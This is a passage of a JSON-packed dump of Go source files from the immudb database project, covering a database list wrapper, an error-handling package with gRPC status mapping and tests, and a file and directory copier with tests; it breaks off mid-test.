    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport \"context\"\n\n// DatabaseList interface\ntype DatabaseList interface {\n\tPut(name string, opts *Options) DB\n\tPutClosed(name string, opts *Options) DB\n\tDelete(string) (DB, error)\n\tGetByIndex(index int) (DB, error)\n\tGetByName(string) (DB, error)\n\tGetId(dbname string) int\n\tLength() int\n\tResize(n int)\n\tCloseAll(ctx context.Context) error\n}\n\ntype databaseList struct {\n\tm *DBManager\n}\n\n// NewDatabaseList constructs a new database list\nfunc NewDatabaseList(m *DBManager) DatabaseList {\n\treturn &databaseList{\n\t\tm: m,\n\t}\n}\n\nfunc (d *databaseList) Put(dbName string, opts *Options) DB {\n\treturn d.put(dbName, opts, false)\n}\n\nfunc (d *databaseList) PutClosed(dbName string, opts *Options) DB {\n\treturn d.put(dbName, opts, true)\n}\n\nfunc (d *databaseList) put(dbName string, opts *Options, closed bool) DB {\n\tvar newOpts Options = *opts\n\n\tidx := d.m.Put(dbName, &newOpts, closed)\n\n\treturn &lazyDB{\n\t\tm:   d.m,\n\t\tidx: idx,\n\t}\n}\n\nfunc (d *databaseList) Delete(dbname string) (DB, error) {\n\tif err := d.m.Delete(dbname); err != nil {\n\t\treturn nil, err\n\t}\n\tidx := d.m.GetIndexByName(dbname)\n\treturn &lazyDB{m: d.m, idx: idx}, nil\n}\n\nfunc (d *databaseList) GetByIndex(index int) (DB, error) {\n\tif !d.m.HasIndex(index) {\n\t\treturn nil, ErrDatabaseNotExists\n\t}\n\treturn &lazyDB{m: d.m, idx: index}, nil\n}\n\nfunc (d *databaseList) GetByName(dbname string) (DB, error) {\n\tidx := d.m.GetIndexByName(dbname)\n\tif idx < 0 {\n\t\treturn nil, ErrDatabaseNotExists\n\t}\n\treturn &lazyDB{m: d.m, idx: idx}, nil\n}\n\nfunc (d *databaseList) Length() int {\n\treturn d.m.Length()\n}\n\n// GetById returns the database id number. -1 if database is not present\nfunc (d *databaseList) GetId(dbname string) int {\n\treturn d.m.GetIndexByName(dbname)\n}\n\nfunc (d *databaseList) CloseAll(ctx context.Context) error {\n\treturn d.m.CloseAll(ctx)\n}\n\nfunc (d *databaseList) Resize(n int) {\n\td.m.Resize(n)\n}\n"
  },
  {
    "path": "pkg/errors/error.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage errors\n\nimport (\n\t\"runtime/debug\"\n)\n\n// On server side errors need to be returned using following interface.\n//\n// An error can be created with:\n//\n// errors.New\n// errors.Wrap\n//\n// if read == 0 && err == io.EOF {\n//    return errors.New(ErrReaderIsEmpty).WithCode(errors.CodInvalidParameterValue)\n// }\n//\n// or\n//\n// u, err := s.getValidatedUser(r.user, r.Password)\n// if err != nil {\n//    return nil, errors.Wrap(err, \"invalid user name or password\").WithCode(errors.CodSqlserverRejectedEstablishmentOfSqlconnection)\n// }\n//\n// If the error is registered inside an init function like it's possible to skip the inline code definition.\n//\n// func init() {\n//    ...\n//    errors.CodeMap[ErrMaxValueLenExceeded] = errors.CodDataException\n//    ...\n// }\n//\n// Errors are converted in the transportation in gRPC status. When adding a new error code it's required to add an entry in gRPC error map. See map.go\n//\n// func mapGRPcErrorCode(code Code) codes.Code\n// In order to avoid dependency between client and server package SDK contains proper error codes definitions, like server.\n//\n// Both SDK ImmuError and server Error can be compared with errors.Is utility.\n//\ntype Error interface {\n\tError() string\n\tMessage() string\n\tCause() error\n\tCode() Code\n\tRetryDelay() int32\n\tStack() string\n}\n\nfunc New(message string) *immuError {\n\tc, ok := CodeMap[message]\n\tif !ok {\n\t\tc = CodInternalError\n\t}\n\te := &immuError{\n\t\tcode:  c,\n\t\tmsg:   message,\n\t\tstack: string(debug.Stack()),\n\t}\n\n\treturn e\n}\n\ntype immuError struct {\n\tcode       Code\n\tmsg        string\n\tstack      string\n\tretryDelay int32\n}\n\nfunc (f *immuError) Error() string {\n\treturn f.msg\n}\n\nfunc (f *immuError) Message() string {\n\treturn f.msg\n}\n\nfunc (f *immuError) Cause() error {\n\treturn f\n}\n\nfunc (f *immuError) Code() Code {\n\treturn f.code\n}\n\nfunc (f *immuError) RetryDelay() int32 {\n\treturn f.retryDelay\n}\n\nfunc (f *immuError) Stack() string {\n\treturn f.stack\n}\n\nfunc (e *immuError) WithCode(code Code) *immuError {\n\te.code = code\n\treturn e\n}\n\nfunc (e *immuError) WithRetryDelay(delay int32) *immuError {\n\te.retryDelay = delay\n\treturn e\n}\n\nfunc (e *immuError) Is(target error) bool {\n\tswitch t := target.(type) {\n\tcase *immuError:\n\t\treturn compare(e, t)\n\tcase *wrappedError:\n\t\treturn compare(e, t)\n\tdefault:\n\t\treturn e.Cause().Error() == target.Error()\n\t}\n}\n\nfunc compare(e Error, t Error) bool {\n\tif e.Code() != CodInternalError || t.Code() != CodInternalError {\n\t\treturn e.Code() == t.Code()\n\t}\n\treturn e.Message() == t.Message() && e.Cause().Error() == t.Cause().Error()\n}\n"
  },
  {
    "path": "pkg/errors/errors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage errors_test\n\nimport (\n\tstdErrors \"errors\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/errors\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc Test_Immuerror(t *testing.T) {\n\tt.Setenv(\"LOG_LEVEL\", \"debug\")\n\n\tcause := \"cause error\"\n\terr := errors.New(cause)\n\n\trequire.Error(t, err)\n\trequire.Equal(t, err.Error(), cause)\n\trequire.Equal(t, err.Message(), cause)\n\trequire.Equal(t, err.Code(), errors.CodInternalError)\n\trequire.ErrorIs(t, err, err.Cause())\n\trequire.Equal(t, err.RetryDelay(), int32(0))\n\trequire.NotNil(t, err.Stack())\n}\n\nfunc Test_WrappingError(t *testing.T) {\n\tt.Setenv(\"LOG_LEVEL\", \"debug\")\n\n\tcause := \"std error\"\n\terr := errors.New(cause)\n\twrappedMessage := \"this is the message I want to show\"\n\twrappedError := errors.Wrap(err, wrappedMessage)\n\twrappedNilError := errors.Wrap(nil, \"msg\")\n\n\trequire.Nil(t, wrappedNilError)\n\n\trequire.Error(t, wrappedError)\n\trequire.Equal(t, wrappedError.Error(), fmt.Sprintf(\"%s: %s\", wrappedMessage, cause))\n\trequire.Equal(t, wrappedError.Message(), wrappedMessage)\n\trequire.Equal(t, wrappedError.Code(), errors.CodInternalError)\n\trequire.Equal(t, wrappedError.RetryDelay(), int32(0))\n\trequire.NotNil(t, wrappedError.Stack())\n}\n\nfunc Test_WrappingImmuerror(t *testing.T) {\n\tt.Setenv(\"LOG_LEVEL\", \"debug\")\n\n\tcause := \"cause error\"\n\terr := errors.New(cause)\n\twrappedMessage := \"this is the message I want to show\"\n\twrappedError := errors.Wrap(err, wrappedMessage)\n\n\trequire.Error(t, wrappedError)\n\trequire.Equal(t, wrappedError.Error(), fmt.Sprintf(\"%s: %s\", wrappedMessage, cause))\n\trequire.Equal(t, wrappedError.Message(), wrappedMessage)\n\trequire.Equal(t, wrappedError.Code(), errors.CodInternalError)\n\trequire.Equal(t, wrappedError.Cause(), err)\n\trequire.Equal(t, wrappedError.RetryDelay(), int32(0))\n\trequire.NotNil(t, wrappedError.Stack())\n}\n\nfunc Test_ImmuerrorIs(t *testing.T) {\n\tt.Setenv(\"LOG_LEVEL\", \"debug\")\n\n\tcause := \"cause error\"\n\terr := errors.New(cause).WithCode(errors.CodInternalError)\n\twrappedMessage := \"this is the message I want to show\"\n\twrappedError := errors.Wrap(err, wrappedMessage)\n\n\terr2 := errors.New(cause).WithCode(errors.CodInternalError)\n\twrappedError2 := errors.Wrap(err2, wrappedMessage)\n\n\terrStd := errors.New(\"stdError\")\n\n\trequire.True(t, stdErrors.Is(wrappedError, wrappedError2))\n\trequire.False(t, stdErrors.Is(wrappedError, err2))\n\trequire.False(t, stdErrors.Is(wrappedError, err))\n\trequire.False(t, stdErrors.Is(wrappedError, errStd))\n\trequire.False(t, stdErrors.Is(errStd, wrappedError))\n}\n\nfunc Test_CauseComparisonWrappedError(t *testing.T) {\n\tt.Setenv(\"LOG_LEVEL\", \"debug\")\n\n\tcause := \"std error\"\n\terr := errors.New(cause)\n\twrappedMessage := \"this is the message I want to show\"\n\twrappedWrappedMessage := \"change idea\"\n\twrappedError := errors.Wrap(err, wrappedMessage).WithCode(errors.CodSqlclientUnableToEstablishSqlConnection).WithRetryDelay(123)\n\twrappedWrappedError := errors.Wrap(wrappedError, wrappedWrappedMessage).WithCode(errors.CodSqlclientUnableToEstablishSqlConnection)\n\timmuError := errors.New(\"immu error\")\n\timmuErrorWithCode := errors.New(\"immu error\").WithCode(errors.CodSqlclientUnableToEstablishSqlConnection)\n\n\trequire.True(t, stdErrors.Is(wrappedError.Cause(), err))\n\trequire.True(t, stdErrors.Is(wrappedError, wrappedWrappedError))\n\trequire.False(t, stdErrors.Is(wrappedError, immuError))\n\trequire.True(t, stdErrors.Is(wrappedWrappedError, immuErrorWithCode))\n}\n\nfunc Test_CauseComparisonError(t *testing.T) {\n\tt.Setenv(\"LOG_LEVEL\", \"debug\")\n\n\tcause := \"std error\"\n\terr := errors.New(cause).WithCode(errors.CodSqlclientUnableToEstablishSqlConnection)\n\n\terr2 := errors.New(cause).WithCode(errors.CodSqlclientUnableToEstablishSqlConnection).WithRetryDelay(123)\n\twrappedError := errors.Wrap(err2, \"msg\").WithCode(errors.CodSqlclientUnableToEstablishSqlConnection)\n\terr3 := errors.New(cause).WithCode(errors.CodSqlclientUnableToEstablishSqlConnection).WithRetryDelay(321)\n\n\trequire.True(t, stdErrors.Is(err2.Cause(), err))\n\trequire.True(t, stdErrors.Is(err2, err))\n\trequire.True(t, stdErrors.Is(err2, wrappedError))\n\trequire.True(t, stdErrors.Is(err2, err))\n\trequire.True(t, stdErrors.Is(err2, err3))\n}\n\nfunc Test_WrappingImmuerrorWithKnowCode(t *testing.T) {\n\tt.Setenv(\"LOG_LEVEL\", \"debug\")\n\n\tcause := \"cause error\"\n\terr := errors.New(cause)\n\twrappedError := errors.Wrap(err, server.ErrUserNotActive)\n\n\trequire.Error(t, wrappedError)\n\trequire.Equal(t, wrappedError.Error(), fmt.Sprintf(\"%s: %s\", server.ErrUserNotActive, cause))\n\trequire.Equal(t, wrappedError.Message(), server.ErrUserNotActive)\n\trequire.Equal(t, wrappedError.Code(), errors.CodSqlserverRejectedEstablishmentOfSqlconnection)\n\trequire.Equal(t, wrappedError.Cause(), err)\n\trequire.Equal(t, wrappedError.RetryDelay(), int32(0))\n\trequire.NotNil(t, wrappedError.Stack())\n}\n"
  },
  {
    "path": "pkg/errors/grpc_status.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage errors\n\nimport (\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/golang/protobuf/proto\"\n\t\"google.golang.org/grpc/status\"\n)\n\n// GRPCStatus return the gRPC status from a wrapped error.\nfunc (f *wrappedError) GRPCStatus() *status.Status {\n\terr, ok := f.cause.(*immuError)\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn setupStatus(err, f.msg, err.retryDelay)\n}\n\nfunc (f *immuError) GRPCStatus() *status.Status {\n\treturn setupStatus(f, f.msg, f.retryDelay)\n}\n\nfunc setupStatus(cause *immuError, message string, retryDelay int32) *status.Status {\n\tst := status.New(mapGRPcErrorCode(cause.code), message)\n\n\terrorInfo := &schema.ErrorInfo{\n\t\tCause: cause.msg,\n\t\tCode:  string(cause.code),\n\t}\n\n\tretryInfo := &schema.RetryInfo{RetryDelay: retryDelay}\n\n\tdetails := make([]proto.Message, 0)\n\tdetails = append(details, errorInfo, retryInfo)\n\n\tif di := debugInfo(cause.stack); di != nil {\n\t\tdetails = append(details, di)\n\t}\n\tst, err := st.WithDetails(details...)\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn st\n}\n\nfunc debugInfo(stack string) (dbg *schema.DebugInfo) {\n\tif strings.ToLower(os.Getenv(\"LOG_LEVEL\")) == \"debug\" {\n\t\tdbg = &schema.DebugInfo{\n\t\t\tStack: stack,\n\t\t}\n\t}\n\treturn dbg\n}\n"
  },
  {
    "path": "pkg/errors/grpc_status_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage errors\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestImmuError_GRPCStatus(t *testing.T) {\n\tie := &immuError{\n\t\tcode:       \"\",\n\t\tmsg:        \"\",\n\t\tstack:      \"\",\n\t\tretryDelay: 0,\n\t}\n\tst := ie.GRPCStatus()\n\n\trequire.NotNil(t, st)\n\trequire.Len(t, st.Details(), 2)\n}\n\nfunc TestWrappedError_GRPCStatus(t *testing.T) {\n\tie := &wrappedError{\n\t\tcause: New(\"cause\"),\n\t\tmsg:   \"\",\n\t}\n\tst := ie.GRPCStatus()\n\n\trequire.NotNil(t, st)\n\trequire.Len(t, st.Details(), 2)\n}\n\nfunc TestWrappedError_GRPCStatusEmptyCause(t *testing.T) {\n\tie := &wrappedError{\n\t\tcause: nil,\n\t\tmsg:   \"\",\n\t}\n\tst := ie.GRPCStatus()\n\n\trequire.Nil(t, st)\n}\n\nfunc TestImmuError_GRPCStatusWithStack(t *testing.T) {\n\tt.Setenv(\"LOG_LEVEL\", \"debug\")\n\n\tie := &immuError{\n\t\tcode:       \"\",\n\t\tmsg:        \"\",\n\t\tstack:      \"\",\n\t\tretryDelay: 0,\n\t}\n\tst := ie.GRPCStatus()\n\n\trequire.NotNil(t, st)\n\n\tvar errorInfo *schema.ErrorInfo = nil\n\tvar debugInfo *schema.DebugInfo = nil\n\tvar retryInfo *schema.RetryInfo = nil\n\n\tfor _, det := range st.Details() {\n\t\tswitch ele := det.(type) {\n\t\tcase *schema.ErrorInfo:\n\t\t\terrorInfo = ele\n\t\tcase *schema.DebugInfo:\n\t\t\tdebugInfo = ele\n\t\tcase *schema.RetryInfo:\n\t\t\tretryInfo = ele\n\t\t}\n\t}\n\trequire.NotNil(t, errorInfo)\n\trequire.NotNil(t, debugInfo)\n\trequire.NotNil(t, retryInfo)\n}\n"
  },
  {
    "path": "pkg/errors/map.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage errors\n\nimport (\n\t\"google.golang.org/grpc/codes\"\n)\n\nfunc mapGRPcErrorCode(code Code) codes.Code {\n\tswitch code {\n\tcase CodSuccessCompletion:\n\t\treturn codes.OK\n\tcase CodSqlclientUnableToEstablishSqlConnection:\n\t\treturn codes.PermissionDenied\n\tcase CodDataException:\n\t\treturn codes.FailedPrecondition\n\tcase CodInvalidParameterValue:\n\t\treturn codes.InvalidArgument\n\tcase CodInternalError:\n\t\treturn codes.Internal\n\tcase CodUndefinedFunction:\n\t\treturn codes.Unimplemented\n\tcase CodInvalidDatabaseName:\n\t\treturn codes.NotFound\n\tcase CodIntegrityConstraintViolation:\n\t\treturn codes.FailedPrecondition\n\tdefault:\n\t\treturn codes.Unknown\n\t}\n}\n"
  },
  {
    "path": "pkg/errors/map_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage errors\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/codes\"\n)\n\nfunc Test_Map(t *testing.T) {\n\tst := mapGRPcErrorCode(CodSuccessCompletion)\n\trequire.Equal(t, codes.OK, st)\n\tst = mapGRPcErrorCode(CodSqlclientUnableToEstablishSqlConnection)\n\trequire.Equal(t, codes.PermissionDenied, st)\n\tst = mapGRPcErrorCode(CodDataException)\n\trequire.Equal(t, codes.FailedPrecondition, st)\n\tst = mapGRPcErrorCode(CodInvalidParameterValue)\n\trequire.Equal(t, codes.InvalidArgument, st)\n\tst = mapGRPcErrorCode(CodInternalError)\n\trequire.Equal(t, codes.Internal, st)\n\tst = mapGRPcErrorCode(CodUndefinedFunction)\n\trequire.Equal(t, codes.Unimplemented, st)\n\tst = mapGRPcErrorCode(Code(\"Unknown\"))\n\trequire.Equal(t, codes.Unknown, st)\n}\n"
  },
  {
    "path": "pkg/errors/meta.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage errors\n\ntype Code string\n\nconst (\n\tCodSuccessCompletion                             Code = \"00000\"\n\tCodInternalError                                 Code = \"XX000\"\n\tCodSqlclientUnableToEstablishSqlConnection       Code = \"08001\"\n\tCodSqlserverRejectedEstablishmentOfSqlconnection Code = \"08004\"\n\tCodProtocolViolation                             Code = \"08P01\"\n\tCodDataException                                 Code = \"22000\"\n\tCodInvalidParameterValue                         Code = \"22023\"\n\tCodUndefinedFunction                             Code = \"42883\"\n\tCodInvalidDatabaseName                           Code = \"3F000\"\n\tCodInvalidAuthorizationSpecification             Code = \"28000\"\n\tCodSqlserverRejectedEstablishmentOfSqlSession    Code = \"08001\"\n\tCodInvalidTransactionInitiation                  Code = \"0B000\"\n\tCodInFailedSqlTransaction                        Code = \"25P02\"\n\tCodIntegrityConstraintViolation                  Code = \"23000\"\n)\n\nvar (\n\tCodeMap = make(map[string]Code)\n)\n"
  },
  {
    "path": "pkg/errors/wrapped.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage errors\n\ntype wrappedError struct {\n\tcause error\n\tmsg   string\n}\n\nfunc Wrap(err error, message string) *wrappedError {\n\tif err == nil {\n\t\treturn nil\n\t}\n\n\te, ok := err.(*immuError)\n\tif !ok {\n\t\te = New(err.Error())\n\t}\n\tc, ok := CodeMap[message]\n\tif ok {\n\t\te.code = c\n\t}\n\treturn &wrappedError{\n\t\tcause: e,\n\t\tmsg:   message,\n\t}\n}\n\nfunc (w *wrappedError) Error() string {\n\treturn w.msg + \": \" + w.cause.Error()\n}\n\nfunc (w *wrappedError) Message() string {\n\treturn w.msg\n}\n\nfunc (w *wrappedError) Cause() error {\n\treturn w.cause\n}\n\nfunc (w *wrappedError) Code() Code {\n\treturn w.cause.(*immuError).code\n}\n\nfunc (w *wrappedError) Stack() string {\n\treturn w.cause.(*immuError).stack\n}\n\nfunc (w *wrappedError) RetryDelay() int32 {\n\treturn w.cause.(*immuError).retryDelay\n}\n\nfunc (w *wrappedError) WithCode(code Code) *wrappedError {\n\tw.cause.(*immuError).code = code\n\treturn w\n}\n\n// WithRetryDelay specifies milliseconds needed to retry. If 0 is returned error is not retryable.\nfunc (w *wrappedError) WithRetryDelay(delay int32) *wrappedError {\n\tw.cause.(*immuError).retryDelay = delay\n\treturn w\n}\n\nfunc (e *wrappedError) Is(target error) bool {\n\tswitch t := target.(type) {\n\tcase *immuError:\n\t\treturn compare(e, t)\n\tcase *wrappedError:\n\t\treturn compare(e, t)\n\tdefault:\n\t\treturn e.Cause().Error() == target.Error()\n\t}\n}\n"
  },
  {
    "path": "pkg/fs/copy.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fs\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n)\n\n// Copier ...\ntype Copier interface {\n\tCopyFile(src, dst string) error\n\tCopyDir(src string, dst string) error\n}\n\n// StandardCopier ...\ntype StandardCopier struct {\n\tOS        immuos.OS\n\tCopyFileF func(src, dst string) error\n\tCopyDirF  func(src string, dst string) error\n}\n\n// NewStandardCopier ...\nfunc NewStandardCopier() *StandardCopier {\n\tsc := &StandardCopier{\n\t\tOS: immuos.NewStandardOS(),\n\t}\n\tsc.CopyFileF = sc.copyFile\n\tsc.CopyDirF = sc.copyDir\n\treturn sc\n}\n\n// CopyFile ...\nfunc (sc *StandardCopier) CopyFile(src, dst string) error {\n\treturn sc.CopyFileF(src, dst)\n}\n\n// CopyDir ...\nfunc (sc *StandardCopier) CopyDir(src string, dst string) error {\n\treturn sc.CopyDirF(src, dst)\n}\n\n// copyFile copies the contents of the file named src to the file named\n// by dst. The file will be created if it does not already exist. If the\n// destination file exists, all it's contents will be replaced by the contents\n// of the source file. The file mode will be copied from the source and\n// the copied data is synced/flushed to stable storage.\nfunc (sc *StandardCopier) copyFile(src, dst string) error {\n\tin, err := sc.OS.Open(src)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer in.Close()\n\n\tinfo, err := in.Stat()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif info.IsDir() {\n\t\treturn fmt.Errorf(\"copy from %s: source is a directory\", src)\n\t}\n\n\tout, err := sc.OS.OpenFile(dst, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, info.Mode())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t_, err = io.Copy(out, in)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn out.Sync()\n}\n\n// copyDir recursively copies a directory tree, attempting to preserve permissions.\n// Source directory must exist, destination directory must *not* exist.\n// Symlinks are ignored and skipped.\nfunc (sc *StandardCopier) copyDir(src string, dst string) error {\n\tsrc = sc.OS.Clean(src)\n\tdst = sc.OS.Clean(dst)\n\n\tsi, err := sc.OS.Stat(src)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !si.IsDir() {\n\t\treturn fmt.Errorf(\"copy from %s: source is not a directory\", src)\n\t}\n\n\tswitch _, err := sc.OS.Stat(dst); {\n\tcase err == nil:\n\t\treturn fmt.Errorf(\"copy to %s: %w\", dst, os.ErrExist)\n\tcase !sc.OS.IsNotExist(err):\n\t\treturn err\n\t}\n\n\treturn sc.OS.Walk(src, func(path string, info os.FileInfo, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdstPath := sc.OS.Join(dst, path[len(src):])\n\t\tswitch {\n\t\tcase info.Mode()&os.ModeSymlink != 0:\n\t\t\treturn nil\n\t\tcase info.IsDir():\n\t\t\treturn sc.OS.MkdirAll(dstPath, info.Mode())\n\t\tdefault:\n\t\t\treturn sc.copyFile(path, dstPath)\n\t\t}\n\t})\n}\n"
  },
  {
    "path": "pkg/fs/copy_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fs\n\nimport (\n\t\"errors\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCopyFile(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"test-copy-file-source.txt\")\n\terr := ioutil.WriteFile(src, []byte(\"test CopyFile file content\"), 0644)\n\trequire.NoError(t, err)\n\n\tdst := filepath.Join(t.TempDir(), \"test-copy-file-destination.txt\")\n\tcopier := NewStandardCopier()\n\terr = copier.CopyFile(src, dst)\n\trequire.NoError(t, err)\n}\n\nfunc TestCopyFileSrcNonExistent(t *testing.T) {\n\tcopier := NewStandardCopier()\n\terr := copier.CopyFile(\n\t\tfilepath.Join(t.TempDir(), \"non-existent-copy-file-src\"),\n\t\tfilepath.Join(t.TempDir(), \"non-existent-copy-file-dst\"),\n\t)\n\trequire.ErrorIs(t, err, os.ErrNotExist)\n}\n\nfunc TestCopyFileSrcIsDir(t *testing.T) {\n\tsrc := t.TempDir()\n\tcopier := NewStandardCopier()\n\terr := copier.CopyFile(src, filepath.Join(t.TempDir(), \"test-copy-file-source-is-dir-dst\"))\n\trequire.ErrorContains(t, err, \"is a directory\")\n}\n\nfunc TestCopyFileOpenDstError(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"test-copy-file-open-dst-error-src\")\n\terr := ioutil.WriteFile(src, []byte(\"test CopyFile open dst error src file content\"), 0644)\n\trequire.NoError(t, err)\n\tcopier := NewStandardCopier()\n\terrOpenFile := errors.New(\"OpenFile error\")\n\tcopier.OS.(*immuos.StandardOS).OpenFileF = func(name string, flag int, perm os.FileMode) (*os.File, error) {\n\t\treturn nil, errOpenFile\n\t}\n\terr = copier.CopyFile(src, filepath.Join(t.TempDir(), \"test-copy-file-open-dst-error-dst\"))\n\trequire.ErrorIs(t, err, errOpenFile)\n}\n\nfunc TestCopyDir(t *testing.T) {\n\tsrcDir := t.TempDir()\n\n\tsrcSubDir1 := filepath.Join(srcDir, \"dir1\")\n\tsrcSubDir2 := filepath.Join(srcDir, \"dir2\")\n\trequire.NoError(t, os.MkdirAll(srcSubDir1, 0755))\n\trequire.NoError(t, os.MkdirAll(srcSubDir2, 0755))\n\n\tfile0 := [2]string{filepath.Join(srcDir, \"file0\"), \"file0\\ncontent0\"}\n\tfile1 := [2]string{filepath.Join(srcSubDir1, \"file1\"), \"file1\\ncontent1\"}\n\tfile2 := [2]string{filepath.Join(srcSubDir2, \"file2\"), \"file2\\ncontent2\"}\n\trequire.NoError(t, ioutil.WriteFile(file0[0], []byte(file0[1]), 0644))\n\trequire.NoError(t, ioutil.WriteFile(file1[0], []byte(file1[1]), 0644))\n\trequire.NoError(t, ioutil.WriteFile(file2[0], []byte(file2[1]), 0644))\n\n\tdst := filepath.Join(t.TempDir(), \"dst\")\n\n\tcopier := NewStandardCopier()\n\trequire.NoError(t, copier.CopyDir(srcDir, dst))\n\n\tfileContent0, err := ioutil.ReadFile(file0[0])\n\trequire.NoError(t, err)\n\trequire.Equal(t, file0[1], string(fileContent0))\n\tfileContent1, err := 